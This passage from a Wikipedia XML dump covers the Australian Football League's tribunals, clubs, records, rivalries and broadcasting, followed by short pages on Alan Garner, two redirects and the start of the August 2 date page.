====AFL Appeals Board====
*'''Chairman''': [[Peter O'Callaghan]]
*'''Members''':&lt;br&gt;[[Brian Collis]] QC&lt;br&gt;Brian Bourke&lt;br&gt;[[John Schultz]]&lt;br&gt;[[Michael Gree]]

====AFL Grievance Tribunal====
*'''Chairman''': Jack Rush QC
*'''Members''':&lt;br&gt;Kevin Power&lt;br&gt;Michael Moncrieff&lt;br&gt;Darren Baxter&lt;br&gt;James Dowsley&lt;br&gt;Roger Berryman

====AFL Match Review Panel====
*'''Chairman''': [[Peter Schwab]]
*'''Members''':&lt;br&gt;[[Peter Carey]]&lt;br&gt;[[Andrew McKay]]

===Season/Tournaments===

====Toyota AFL Premiership Season====
The ''Toyota AFL Premiership Season'' lasts for 22 rounds and begins in late March, contested between 16 teams from around Australia. 

At the end of the 22 rounds, the top eight teams compete in the ''[[Toyota AFL Finals Series]]'', in which teams compete in a Qualifying Final or Elimination Final, depending on the teams ladder position. At this stage, only six teams remain, and the bottom four teams play in a Semi Final, in which two teams are eliminated. The remaining four teams play in one of two Preliminary Finals, and the last two teams standing play in the Grand Final. 

The winners of the Grand Final become the premiers of that year. 

The Grand Final is always held at the [[Melbourne Cricket Ground]],even if two non-[[Victoria (Australia)|Victorian]] teams are playing.The only recent exception was [[Waverley Park]] in 1991 while the MCG was undergoing redevelopment.

====NAB Cup====
Before the premiership season commences, a knock-out Cup competition is played. It has had several incarnations as the Escort Cup, the Fosters Cup, the [[Ansett Australia]] Cup, the [[Wizard Cup]], and as of the 2006 season it will be known as the [[NAB Cup]].

===AFL Strongholds===
Australian Rules Football is the dominant football code in every state and territory in Australia, except [[New South Wales]] and [[Queensland]], where [[Rugby League]] dominates, and in [[Australian Capital Territory|A.C.T.]], where [[Rugby Union]] dominates. In [[Victoria (Australia)|Victoria]], [[South Australia]], [[Western Australia]], and [[Tasmania]] massive crowds attend many of the games and AFL is the dominant sport on television, print and radio news.

==Clubs==
(for more information go to [[List of Australian Rules Football Clubs]])
===Present===
{| class=&quot;wikitable&quot;
|- bgcolor=#efefef
! Club
! Logo
! City
! Home Ground*
|-
| [[Adelaide Crows]] 
| [[Image:Adelaide Crows logo.png|80px]] 
| [[Adelaide]], [[South Australia]]
| [[AAMI Stadium]]
|-
| [[Brisbane Lions]] 
| [[Image:Brisbane Lions logo.gif|80px]] 
| [[Brisbane]], [[Queensland]] (merger of [[Brisbane Bears]] and defunct [[Fitzroy Football Club]] in 1996)
| [[Brisbane Cricket Ground]] (The 'Gabba)
|-
| [[Carlton Football Club|Carlton FC]] 
| [[Image:Carltonfc.png|80px]]
| [[Carlton, Victoria|Carlton]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]] 
| [[Telstra Dome]]&lt;br&gt;[[Melbourne Cricket Ground]]
|-
| [[Collingwood Football Club|Collingwood FC]]
| [[Image:Collingwood Football Club logo.gif|80px]]
| [[Collingwood, Victoria|Collingwood]], [[Melbourne, Victoria|Melbourne]],[[Victoria (Australia)|Victoria]] 
| [[Melbourne Cricket Ground]]
|-
| [[Essendon Football Club|Essendon FC]]
| [[Image:Essendonfc logo small.png|80px]]
| [[Essendon, Victoria|Essendon]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]] 
| [[Telstra Dome]]
|-
| [[Fremantle Football Club|Fremantle FC]]
| [[Image:Fremantle Dockers logo.gif|80px]]
| [[Fremantle, Western Australia|Fremantle]], [[Western Australia]]
| [[Subiaco Oval]]
|-
| [[Geelong Football Club|Geelong FC]]
| [[Image:Geelong Football Club.png|80px]]
| [[Geelong, Victoria|Geelong]], [[Victoria (Australia)|Victoria]]
| [[Skilled Stadium]]
|-
| [[Hawthorn Football Club|Hawthorn FC]]
| [[Image:Hawthorn Football Club logo.jpg|80px]]
| [[Hawthorn, Victoria|Hawthorn]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]]
| [[Melbourne Cricket Ground]]&lt;br&gt;[[Aurora Stadium]]
|-
| [[Kangaroos Football Club|Kangaroos FC]]
| [[Image:Kangaroos FC.svg|80px]]
| [[North Melbourne, Victoria|North Melbourne]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]] 
| [[Telstra Dome]]&lt;br&gt;[[Melbourne Cricket Ground]]&lt;br&gt;[[Manuka Oval]]
|-
| [[Melbourne Football Club|Melbourne FC]]
| [[Image:Melbourne_Football_Club.png|80px]]
| [[Melbourne]], [[Victoria (Australia)|Victoria]]
| [[Melbourne Cricket Ground]]
|-
| [[Port Adelaide Football Club|Port Adelaide FC]]
| [[Image:Port Adelaide Power logo.png|80px]]
| [[Port Adelaide]], [[Adelaide]], [[South Australia]] || [[AAMI Stadium]]
|-
| [[Richmond Football Club|Richmond FC]]
| [[Image:Richmond_afl_logo.png|80px]]
| [[Richmond, Victoria|Richmond]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]] 
| [[Melbourne Cricket Ground]]
|-
| [[St_Kilda Football Club|St. Kilda FC]]
| [[Image:Saint_Kilda_Football_Club_logo.png|80px]]
| [[St Kilda, Victoria|St Kilda]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]] 
| [[Telstra Dome]]&lt;br&gt;[[Aurora Stadium]]
|-
| [[Sydney Swans]] 
| [[Image:SydneySwansLogo.png|80px]]
| [[Sydney]], [[New South Wales]] (relocated from [[South Melbourne, Victoria|South Melbourne]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]] in 1982)
| [[Sydney Cricket Ground]]&lt;br&gt;[[Telstra Stadium]]
|-
| [[West Coast Eagles FC]]
| [[Image:West Coast Eagles.svg|80px]]
| [[Perth, Western Australia|Perth]], [[Western Australia]]
| [[Subiaco Oval]]
|-
| [[Western Bulldogs]]
| [[Image:WesternBulldogsLogo.png|80px]]
| [[Footscray, Victoria|Footscray]], [[Melbourne, Victoria|Melbourne]], [[Victoria (Australia)|Victoria]] 
| [[Telstra Dome]]&lt;br&gt;[[Marrara Oval]]
|}
''(Note: Many clubs play several &quot;home&quot; matches at alternate grounds.)''

===Former Teams===
{| class=&quot;wikitable&quot;
|- bgcolor=#efefef
! Club
! Logo
! Home City
! Last Home Ground
! Reason
|-
|-
| [[Fitzroy Football Club|Fitzroy FC]] 
| [[Image:Fitzroy_logo.gif|80px]] 
| [[Fitzroy, Victoria|Fitzroy]],  [[Victoria (Australia)|Victoria]]
| [[Whitten Oval]]
| merged with the [[Brisbane Bears]] to become the [[Brisbane Lions]] in [[1996]]
|-
|-

|-
| [[South Melbourne Football Club]] 
| [[Image:Smfc.gif|80px]]
| [[Melbourne]], [[Victoria (Australia)|Victoria]]
| [[Lake Oval]]
| relocated to Sydney in [[1982]] and changed trading name to the Sydney Swans  
|-
| [[University Football Club|University FC]] 
|  
| [[Melbourne]], [[Victoria (Australia)|Victoria]]
| [[Melbourne Cricket Ground]]
| folded [[1915]], merged with [[Melbourne FC]]
|}

==[[VFL/AFL]] Records==

* '''Highest score'''&lt;br&gt;Geelong- 37.17 (239)&lt;br&gt;[[Carrara Oval]], [[May 3]], [[1992]].
* '''Highest winning margin'''&lt;br&gt;Fitzroy- 190 points&lt;br&gt;[[Waverley Park]], [[July 28]], [[1979]].
* '''Largest crowd'''&lt;br&gt;Carlton v Collingwood - 121,696 &lt;br&gt;[[Melbourne Cricket Ground|MCG]], [[September 26]], [[1970]] (Grand Final)
* '''Largest Home &amp; Away crowd'''&lt;br&gt;Melbourne v Collingwood - 99,346 &lt;br&gt;[[Melbourne Cricket Ground|MCG]], [[1958]]
* '''Largest Non-Victorian crowd'''&lt;br&gt;Sydney v West Coast Eagles - 91,898 &lt;br&gt;[[Melbourne Cricket Ground|MCG]], [[September 24]], [[2005]]
* '''Largest International crowd'''&lt;br&gt;Melbourne v Sydney- 32,789&lt;br&gt;[[B.C. Place]], [[Vancouver]], [[Canada]], [[1987]]
* '''Most premierships'''&lt;br&gt; Carlton/Essendon 16
* '''Most wooden spoons'''&lt;br&gt; St Kilda 26, most recent 2000
* '''Most consecutive premierships'''&lt;br&gt;Collingwood- 4&lt;br&gt;[[1927]]-[[1930]]
* '''Most games won in a season'''&lt;br&gt;Essendon- 24&lt;br&gt;[[2000]]
* '''Most consecutive wins'''&lt;br&gt;Geelong- 23&lt;br&gt;[[1952]]-[[1953]]
* '''Most games played in a career'''&lt;br&gt;[[Michael Tuck]] (Hawthorn)- 426 games
* '''Most goals in a career'''&lt;br&gt;[[Tony Lockett]] (St Kilda/Sydney)- 1,360 goals
* '''Most goals in a game'''&lt;br&gt;[[Fred Fanning]] (Melbourne)- 18 goals
* '''Most consecutive matches'''&lt;br&gt;[[Jim Stynes]] (Melbourne)- 244
* '''Most consecutive matches from debut'''&lt;br&gt;[[Jared Crouch]] (Sydney)- 182
* '''Tallest player'''&lt;br&gt;[[Aaron Sandilands]] (Fremantle)- 211cm
* '''Shortest player'''&lt;br&gt;[[Danny Craven]] (St Kilda/Brisbane)- 162cm
* '''Heaviest player'''&lt;br&gt;[[Aaron Sandilands]] (Fremantle)- 124kg
* '''Longest kick'''&lt;br&gt;[[Albert Thurgood]] (Essendon)- 98.48m (109 yards, 1 foot, 3.2 inches)

==Team Rivalries==
Games in which teams with rivalries typically draw large crowds and interest regardless of both teams positions on the ladder.  Collingwood is a famous club in the league because it is a rival of almost all other traditional clubs and also known as the 'team people love to hate'.

===Traditional Rivals===
* [[Carlton Football Club | Carlton]] v [[Collingwood Football Club | Collingwood]]&lt;br&gt;Arguably the greatest and longest standing rivalry in the competition.  Two working class clubs in close proximity, fuelled by the 1970 Grand Final in which Carlton extinguished hopes of Collingwood breaking a premiership drought.  Games between these two clubs regularly attract large crowds regardless of whether they are both at the bottom of the ladder.

* [[Richmond Football Club | Richmond]] v [[Collingwood Football Club | Collingwood]] &lt;br&gt;Arising from the fact that the two areas neighbour each other,and that Richmond supporters often mocked Collingwood suppoters whom they thought were &quot;feral&quot;. also Richmond and Collingwood were both highly successful in the late 1920's to the early 1930's, meeting each other in several grand finals . 

* [[Melbourne Football Club | Melbourne]] v [[Collingwood Football Club | Collingwood]] &lt;br&gt;As per Richmond vs Collingwood but additionally fuelled by a narrow loss to Collingwood which stopped Melbourne from winning a fourth flag in a row in 1958. And the fact that Melbourne played half their premierships against them.

* [[Essendon Football Club | Essendon]] v [[Collingwood Football Club | Collingwood]]&lt;br&gt;Arising from the inaugural [[ANZAC Day]] clash and Essendon's loss to Collingwood in the 1990 Grand Final.  Games between these sides draw large crowds.

* [[Essendon Football Club | Essendon]] v [[Carlton Football Club | Carlton]] &lt;br&gt;As is the case with two successful sides in any competition, fans of each club love to defeat the other.

=== Local Derbies===
* [[Adelaide Football Club | Adelaide]] v [[Port Adelaide Football Club | Port Adelaide]] &lt;br&gt;Known as The Showdown

* [[West Coast Eagles | West Coast]] v [[Fremantle Football Club | Fremantle]] &lt;br&gt;Known as The [[Western Derby]]

===More Recent Rivals===
* [[Brisbane Lions|Brisbane]] v [[Sydney Swans | Sydney]] &lt;br&gt;Two frontier states for the AFL, the AFL uses the [[Rugby League]] [[State of Origin]] rivalry between [[Queensland]] and [[New South Wales]] to draw crowds to games between these teams.

* [[Melbourne Football Club|Melbourne]] v [[Geelong Football Club | Geelong]] &lt;br&gt; The first 2 clubs in the league.  Melbourne CEO [[Steve Harris]] once made comments about how Melbourne people never like to travel to Geelong, with this rivalry being manufactured by the AFL in the recent [[AFL Rivalry Round]] concept. 

* [[Essendon Football Club|Essendon]] v [[Hawthorn Football Club | Hawthorn]] &lt;br&gt; The  clubs contested the Grand Final on several occasions in the 1980s.

* [[Brisbane Lions|Brisbane]] v [[Essendon Football Club|Essendon]] &lt;br&gt; The two sides who clashed in the 2001 Grand Final, has since developed into a great rivalry thanks to respective coaches Leigh Matthews (Brisbane) and Kevin Sheedy (Essendon), with several famous clashes already.

* [[Brisbane Lions|Brisbane]] v [[Collingwood Football Club|Collingwood]] &lt;br&gt; The Brisbane Lions defeated Collingwood in the 2002 and 2003 Grand Final, which caused Grand Final Rematches and great rivalry between the two teams. This continued onwards with many Lions fans disliking Collingwood, and their President [[Eddie McGuire]].

* [[Brisbane Lions|Brisbane]] v [[Port Adelaide Power|Port Adelaide]] &lt;br&gt; The two sides who dominated the AFL from 2001-2004, they had identical winning percentages over the four years. The Lions won three consecutive titles (2001-2003), while Port developed a reputation as chokers in big matches until they won the 2004 title, defeating Brisbane in that decieder. Matches between the two are always hard fought encounters. The two sides have also drawn on two occasions, in 1997 and 1998.

* [[West Coast Eagles|West Coast]] v [[Essendon Football Club|Essendon]] &lt;br&gt; The rivalry started when Essendon coach Kevin Sheedy celebrated a victory by running down from the coaches box to the ground waving his jacket around his head. Now the fans of the victorious team in these clashes celebrate the victory by waving their jackets.

* [[St Kilda Football Club|St Kilda]] v [[Geelong Football Club|Geelong]] &lt;br&gt;Currently Victoria's two best teams. Both have reasonably young teams making their mark in AFL.

===Past Rivals===
* [[St Kilda Football Club|St Kilda]] v [[South Melbourne Football Club|South Melbourne]] &lt;br&gt;These clubs shared the same geographical area until the Swans moved to Sydney.  These teams played for the 'Lake Trophy'.

* [[Collingwood Football Club|Collingwood]] v [[Fitzroy Football Club | Fitzroy]] &lt;br&gt;As with St Kilda and South Melbourne, these clubs shared the same geographical area until Fitzroy folded (and was absorbed by Brisbane) and began a new rivalry with Collingwood from successive Grand Final encounters.

===Rivalries which remain &quot;untapped&quot;===
* [[Richmond Football Club | Richmond]] v [[Fremantle Dockers | Fremantle]] &lt;br&gt;Richmond was Fremantle's first opponent in 1995, and later in the season became the first team to play the Dockers twice.  Comedian [[Trevor Marmalade]] joked at the time that this made the two teams &quot;traditional rivals&quot;.  Interestingly, many matches between the two teams have been close contests, but neither side seems to consider the other a closely-matched rival.

==Future==
Several areas have been discussed as expansion possibilities, most often [[Tasmania]], western [[Sydney]], North [[Queensland]], the [[Gold Coast, Queensland|Gold Coast]], [[Canberra]], [[Darwin, Northern Territory|Darwin]] and even [[New Zealand]] or [[South Africa]], but the AFL have an aim to keep the competition to 16 teams.  It is generally thought that if the AFL expands into a new area, one of the less financially well-off Victorian clubs will re-locate, rather than an entirely new club being formed. The Western Bulldogs and Kangaroos are most often considered candidates for re-location, and some theorise that their respective name changes in the 1990s were in anticipation of such a move. 

Having experimented with home games in Western [[Sydney]], the Kangaroos play regular premiership season games at [[Manuka Oval]] in Canberra, and the Bulldogs have played in [[Cairns, Queensland|Cairns]] and [[Darwin, Northern Territory|Darwin]], leading to more speculation that they are attempting to build a supporter base in those areas for future re-location.  

Mergers have also been an option for the AFL, as was seen with the Brisbane Bears and the defunct Fitzroy Lions in 1996. If two Victorian teams merge, then it makes room for a 16th team to come from an interstate city - the likely candidates for this are the [[Southport Sharks]] or a Tasmanian team based in [[Hobart]] or [[Launceston]]. However, that since the 1996 [[Melbourne Hawks]] merger attempt, the AFL has been less willing to actively persue the amalgamation of two Victorian-based clubs as an option.

==Hall of Fame==
For the centenary of the VFL/AFL in 1996, the [[Australian Football Hall of Fame]] was formed. Its members not only consist of those who have contributed to the VFL/AFL, but from Australian football in general (in such leagues as the [[SANFL]] and [[West Australian Football League|WAFL]]). That year 136 Australian Rules identities were inducted, including 100 players, 10 coaches, 10 umpires, 10 administrators and 6 media representatives.

===Legends of the Game===
In 1996, thirteen Hall of Fame members were declared ''Legends of the Game''. Now, each year another member of the Hall of Fame is declared a legend. The following is a list of ''Legends of the Game''.

*[[Ron Barassi|Ron Barassi Junior]] ''(added 1996)''
*[[Haydn Bunton Senior]]''(added 1996)''
*[[Roy Cazaly]] ''(added 1996)''
*[[John Coleman]] ''(added 1996)''
*[[Gordon Coventry]] ''(added 1996)''
*[[Jack Dyer]] ''(added 1996)''
*[[Graham Farmer]] ''(added 1996)''
*[[Leigh Matthews]] ''(added 1996)''
*[[John Nicholls]] ''(added 1996)''
*[[Bob Pratt]] ''(added 1996)''
*[[Dick Reynolds]] ''(added 1996)''
*[[Bob Skilton]] ''(added 1996)''
*[[E.J. 'Ted' Whitten|Ted Whitten Senior]] ''(added 1996)''
*[[Ian Stewart (Australian footballer)|Ian Stewart]] ''(added 1997)''
*[[Gordon Coventry]] ''(added 1998)''
*[[Peter Hudson]] ''(added 1999)''
*[[Kevin Bartlett]] ''(added 2000)''
*[[Barry Robran]] ''(added 2001)''
*[[Bill Hutchison]] ''(added 2003)''
*[[Jock McHale]] ''(added 2005)''

==Team of the Century==
To celebrate the 100th season of the AFL, the &quot;AFL Team of the Century&quot; was named in 1996.

{{Aussie rules team | title = AFL Team of the Century
| backpocket1 = [[Bernie Smith]] (Geelong)
| fullback = [[Stephen Silvagni]] (Carlton)
| backpocket2 = [[John Nicholls]] (Carlton)
| halfbackflank1 = [[Bruce Doull]] (Carlton)
| centrehalfback = [[Ted Whitten]] (Footscray)
| halfbackflank2 = [[Kevin Murray]] (Fitzroy)
| wing1 = [[Keith Greig]] (North Melbourne)
| centre = [[Ian Stewart (Australian footballer)|Ian Stewart]] (St Kilda, Richmond)
| wing2 = [[Francis Bourke]] (Richmond)
| halfforwardflank1 = [[Alex Jesaulenko]] (Carlton, St Kilda)
| centrehalfforward = [[Royce Hart]] (Richmond)
| halfforwardflank2 = [[Dick Reynolds]] (Essendon)
| forwardpocket1 = [[Leigh Matthews]] (Hawthorn)
| fullforward = [[John Coleman]] (Essendon)
| forwardpocket2 = [[Haydn Bunton Senior]] (Fitzroy)
| ruck = [[Graham Farmer]] (Geelong)
| ruckrover = [[Ron Barassi]] (Melbourne, Carlton)
| rover = [[Bob Skilton]] (South Melbourne)
| interchange1 = [[Gary Ablett]] (Hawthorn, Geelong)
| interchange2 = [[Jack Dyer]] (Richmond)
| interchange3 = [[Greg Williams]] (Geelong, Sydney, Carlton)
| interchange4 =
| interchange5 =
| interchange6 =
| coach = [[Norm Smith]]
}}

[[Jim Elder]] was declared the ''Umpire of the Century'' was to coincide with the Team of the Century. Since the naming of this side, all AFL clubs have nominated their own teams of the century. An [[Indigenous Team of the Century]] was also selected in 2005, featuring the best Aboriginal players of the previous 100 years.

==Corporate Relations==

===Membership===
The AFL sells membership that entitle subscribers to reserve seats for matches at the [[Telstra Dome]] and [[Melbourne Cricket Ground]] in Melbourne and priority access to finals.  AFL Members can nominate a club to get priority Grand Final tickets.

===Broadcasting===

====Television====
The official television broadcast partners of the AFL are: [[Nine Network]], [[Network Ten]], and [[Foxtel]] ([[Fox Footy Channel]]). 

As of [[2007]] the official Free to Air television brodcast partners will be: the [[Seven Network]] and [[Network Ten]].  The Pay TV partner, if any, is yet to be confirmed.

Before [[2001]], the [[Seven Network]] had broadcast the AFL for 45 years. The only year they didn't hold the rights was 1987, when the rights were bought by Sportsplay, a satellite channel, who then onsold the rights to the [[Australian Broadcasting Corporation]]. In 1997, the Seven Network's main rivals created a consortium to snatch the rights from the network. Seven, however, did purchase a guaranteed last rights bid which in the future proved to be handy for the network. In January 2006, shortly after the death of media magnate [[Kerry Packer]], a Seven/Ten alliance used Seven's last rights bid to match Nine's offer of $AUD 780 million for broadcast rights in what was the biggest sport broadcasting deal in Australian history.

=====International Broadcasting=====
*[[ABC Asia Pacific]] currently broadcasts the full AFL Premiership season to more than 39 countries.  
*AFL is broadcast in the [[United States]] and [[Canada]], but not free-to-air.  In the 1980s, [[ESPN]] played a highlights package called ''Fosters Australian Rules''.  The [[AFANA]] is an organisation aimed at increasing coverage in North America.

Currently, [[Fox Soccer Channel]] (in the USA) and [[Fox Sports World Canada]] show a game of the week and a weekly one-hour recap show.  The AFL Grand Final is broadcast live. The recap show also airs on various regional affiliates of [[Fox Sports Net]].

*Although Australian rules is not shown in [[Ireland]], [[Setanta]] airs [[International Rules]] matches.

====Radio====
The official radio broacast partners of the AFL are [[Triple M]], [[3AW]], [[ABC Local Radio]], [[DMG Radio Australia|FiveAA]], [[Southern Cross Broadcasting|6PR]], [[K-Rock]],  and the [[National Indigenous Radio Service]].

====Publishing and Print====
The official print broadcast partner of the AFL is [[News Limited]].
The [[AFL Record]] is a print publication that is read by around 225,000 people each week [http://www.aflpublishing.com.au/].

====Internet====
The official internet/3G broadcast partner of the AFL is [[Bigpond]]. The AFL also provides exclusive broadband content including streaming video for international fans via its website.

===Merchandising===
The AFL run a chain of stores that sell various merchandise from all teams, and the merchandise is also available from other retailers.

====Hall of Fame and Sensation==== 
A modern museum called the Hall of Fame and Sensation opened in Melbourne in 2003 to celebrate the culture of the AFL and the [[Australian Football Hall of Fame]]. The museum, a licenced spin-off of the AFL was originally touted for the MCG, the Hall of Fame failed to get support of the Melbourne Cricket Club, so the new QV shopping centre on Swanston Street was chosen as the location next to one of the busiest AFL shops. Later controversy surrounded the appoint meant of an administration as the museum began running at a loss. Many blamed high entry prices which were subsequently reduced and the museum remains open to the public.  Hall of Fame and Sensation features various honour boards and artefacts as well as a range of innovative interactive displays designed to emerse fans and visitors in the experience of elite aussie rules.

====Video Games====

:''Main Article: [[List of Australian rules football computer games]].''

These are computer/video games that were licensed to use the AFL / Australian Football sports brand:
*''[[Australian Rules (video game)|Australian Rules]]'' ([[1987]]) [[Commodore 64|C64]] 
*''[[Aussie Rules Footy]]'' ([[1991]]) [[Nintendo Entertainment System|NES]] 
*''[[AFL Finals Fever]]'' ([[1996]]) [[IBM PC compatible|PC]] 
*''[[AFL '98]]'' ([[1999]]) [[IBM PC compatible|PC]]/[[PlayStation |PSX]] ([[PAL]])
*''[[AFL '99]]'' ([[2000]]) [[IBM PC compatible|PC]]/[[PlayStation |PSX]] ([[PAL]]) 
*''[[Aussie Rules Coach]]'' ([[2001]]) [[IBM PC compatible|PC]] 
*''[[Kevin Sheedy Coach]]'' ([[2002]]) [[IBM PC compatible|PC]] 
*''[[AFL Live 2003]]'' ([[2003]]) [[IBM PC compatible|PC]]/[[PlayStation 2|PS2]]/[[Xbox]] ([[PAL]])
*''[[AFL Live 2004]]'' ([[2004]]) [[IBM PC compatible|PC]]/[[PlayStation 2|PS2]]/[[Xbox]] ([[PAL]])
*''[[AFL Premiership 2005]]'' ([[2005]]) [[IBM PC compatible|PC]]/[[PlayStation 2|PS2]]/[[Xbox]] ([[PAL]])

====Gambling====
The AFL is the subject of [[footy tipping]] and betting competitions around Australia run by individuals, syndicates, workplaces and bookmakers.

==See also==

* [[Australian Rules Football]]
* [[:Category:VFL/AFL players|AFL Footballers]]
* [[List of Australian Football League premiers|AFL Premiers]]
* [[Brownlow Medal]]
* [[Coleman Medal]]
* [[Leigh Matthews Trophy]]
* [[Sports attendances]]
* [[List of Celebrity Supporters of AFL Clubs]]
* [[WP:AFL|WikiProject AFL]]

==External links==
*[http://www.afl.com.au AFL Official Site]
*[http://www.aflpublishing.com.au/ AFL Publishing]
*[http://www.afl-online.com AFL Online Forum]
*[http://bomberblitz.com/~rmered/clubs.htm History of AFL/VFL jumpers]
*[http://afl.com.au/cp2/c2/webi/article/233594ae.xls Season 2006 Interactive Fixture]
*[http://stats.rleague.com/afl/afl_index.html Complete VFL/AFL results]
*[http://www.myafl.com/forum/ AFL Fan Forum]
*[http://www.gamerwithin.com/?view=article&amp;article=575 AFL Premiership 2005 Review (PS2 Game)]
*[http://www.aussierulesinternational.com Aussie Rules International]
*[http://www.footballaustralien.com The French footy teams site]

*[http://footystats.freeservers.com/Daily/Diary.html/ FootyStats Diary]
*[http://www.heraldsun.news.com.au/footy/ Herald Sun Footy News]
*[http://www.allthestats.com AlltheStats]
*[http://www.worldfootynews.com World Footy News]
{{AFL}}

[[Category:Australian Football League]]
[[Category:Australian rules football competitions]]
[[Category:Sports_governing_bodies_in_Australia]]
[[Category:Australian_Rules_football_grounds]]

[[cs:AFL]]
[[scn:AFL]]
[[sv:AFL]]
[[fr:Australian Football League]]</text>
    </revision>
  </page>
  <page>
    <title>AK47</title>
    <id>1151</id>
    <revision>
      <id>15899653</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[AK-47]]
</text>
    </revision>
  </page>
  <page>
    <title>Alan Garner</title>
    <id>1152</id>
    <revision>
      <id>38212435</id>
      <timestamp>2006-02-04T23:06:12Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Alan Garner''' (born [[Congleton]] [[October 17]], [[1934]]) is an English writer whose work is firmly rooted in his local [[Cheshire]]. His very early writing was marketed mainly for [[Children's literature|children]] and could be described as [[fantasy fiction|fantasy]], though he himself rejects the label of &quot;children's writer&quot;:

:I do not write for children, but for myself. Adolescents read my books. By adolescence, I mean an arbitrary age somewhere between 10 and 18. This group of people is the most important of all.

His more recent work (''Strandloper'', ''Thursbitch'') is more specifically intended for adult readers, while the earlier ''[[The Stone Book Quartet]]'' (which received the [[Phoenix Award]] in 1996) is poetic in style and inspiration. Garner pays particular attention to language, and strives to render the cadence of the Cheshire tongue in modern English. This he explains by the sense of anger he felt on reading &quot;Sir Gawain and the Green Knight&quot;: the footnotes would not have been needed by his father. This and other aspects of his writing are the subject of Neil Philip's ''[[A Fine Anger]], (Collins, 1981)'', which offers a detailed analysis of his work.

His most recent novel is ''Thursbitch''. Other works have won the Guardian Award, the Carnegie Medal,and the Lewis Carroll Shelf Award, as well as the Chicago International Film Festival 1st Prize for his educational film &quot;Images.&quot;

His collection of essays and public talks, ''[[The Voice That Thunders]]'', contains much autobiographical material, as well as critical reflection upon folklore and language, literature and education, the nature of myth and time. Garner is an accomplished public speaker.

The author [[Philip Pullman]] is a strong admirer, and ''[[The Weirdstone of Brisingamen]]'' is an acknowledged classic of children's literature.

He was awarded the [[Officer of the Order of the British Empire|OBE]] for services to literature in the [[2001]] [[British honours system|New Year's Honours list]].

== Works ==

His best known works are:

* ''[[The Weirdstone of Brisingamen]]''
* ''[[The Moon of Gomrath]]''
* ''[[Elidor]]''
* ''[[The Owl Service]]''
* ''[[Red Shift (novel)|Red Shift]]''
* ''[[The Stone Book Quartet]]''
* ''[[The Voice That Thunders]]''
* ''[[Strandloper]]''
* ''[[Thursbitch]]''

He has also edited a collection of stories about fools, ''The Guizer'' (1975).

[[Category:1934 births|Garner, Alan]]
[[Category:Living people|Garner, Alan]]
[[Category:British short story writers|Garner, Alan]]
[[Category:British children's writers|Garner, Alan]]
[[Category:English fantasy writers|Garner, Alan]]
[[Category:Guardian award winners|Garner, Alan]]
[[Category:Officers of the British Empire|Garner, Alan]]

[[de:Alan Garner]]
[[ja:アラン・ガーナー]]</text>
    </revision>
  </page>
  <page>
    <title>Amhrann na bhFiann</title>
    <id>1153</id>
    <revision>
      <id>15899655</id>
      <timestamp>2002-11-28T08:29:11Z</timestamp>
      <contributor>
        <ip>134.95.200.164</ip>
      </contributor>
      <minor />
      <comment>double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Amhrán_na_bhFiann]]</text>
    </revision>
  </page>
  <page>
    <title>August 2</title>
    <id>1154</id>
    <revision>
      <id>42064608</id>
      <timestamp>2006-03-03T15:46:27Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv bad data</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=2}}
|}
'''[[August 2]]''' is the 214th day of the year in the [[Gregorian Calendar]] (215th in [[leap year]]s), with 151 days remaining.

==Events==
*[[338 BC]] - [[History of Ancient Greece#The_Rise_of_Macedon|Rise of Macedon]]: [[Philip II of Macedon]] crushes [[Athens]] and [[Thebes (Greece)|Thebes]] in the [[Battle of Chaeronea (338 BC)|Battle of Chaeronea]].
*[[216 BC]] - [[Punic Wars]]: In the [[Battle of Cannae]], [[Hannibal]] destroys the [[Roman Republic|Roman]] army of [[Lucius Aemilius Paullus]] and [[Gaius Terentius Varro]] in what is considered one of the great masterpieces of the tactical art.
*[[461]] - [[Majorian]] resigns as [[Western Roman Emperor]]; shortly afterwards [[Libius Severus]] is declared western [[Roman Empire|Roman]] emperor by [[Ricimer]]
*[[1610]] - [[Henry Hudson]] sails into what it is now known as [[Hudson Bay]], thinking he had made it through the [[Northwest Passage]] and reached the [[Pacific Ocean]].
*[[1776]] - Delegates to the [[Continental Congress]] begin signing the [[United States Declaration of Independence]].
*[[1790]] - The first [[US Census]] is conducted.
*[[1798]] - [[Second Coalition]]: The [[Battle of the Nile]] between [[France|French]] and [[Kingdom of Great Britain|British]] navies ends with a British victory.
*[[1869]] - [[Japan|Japan's]] [[samurai]], [[farmer]], [[artisan]], [[merchant]] class system is abolished as part of the [[Meiji Restoration]] reforms. (Traditional [[Japanese calendar|Japanese date]]: June 25, 1869).
*[[1870]] - [[Tower Subway]], the world's first [[metro|underground tube railway]], opens in [[London]].
*[[1903]] - [[Fall of the Ottoman Empire]]: Unsuccessful uprising of the [[Bulgarians]] against [[Ottoman Empire|Ottoman]] [[Turkey]], also known as the [[Ilinden uprising]].
*[[1916]] - [[World War I]]: Austrian sabotage causes the sinking of the Italian battleship [[Italian battleship Leonardo da Vinci|''Leonardo da Vinci'']] in [[Taranto]].
*[[1918]] - [[Japan]] announces that it is deploying troops to [[Siberia]] in the aftermath of [[World War I]].
*[[1934]] - [[Gleichschaltung]]: [[Adolf Hitler]] becomes [[Führer]] of [[Germany]].
*[[1943]] - [[PT-109]], with future president of the United States Lieutenant [[John F. Kennedy]] aboard, sinks.
*[[1945]] - [[World War II]]: [[Potsdam Conference]], in which the [[Allied Powers]] discuss the future of defeated [[Germany]], concludes.
*[[1950]] - The [[New World Translation of the Christian Greek Scriptures]] is released in a public event held in [[Yankee Stadium]] in [[New York City]].
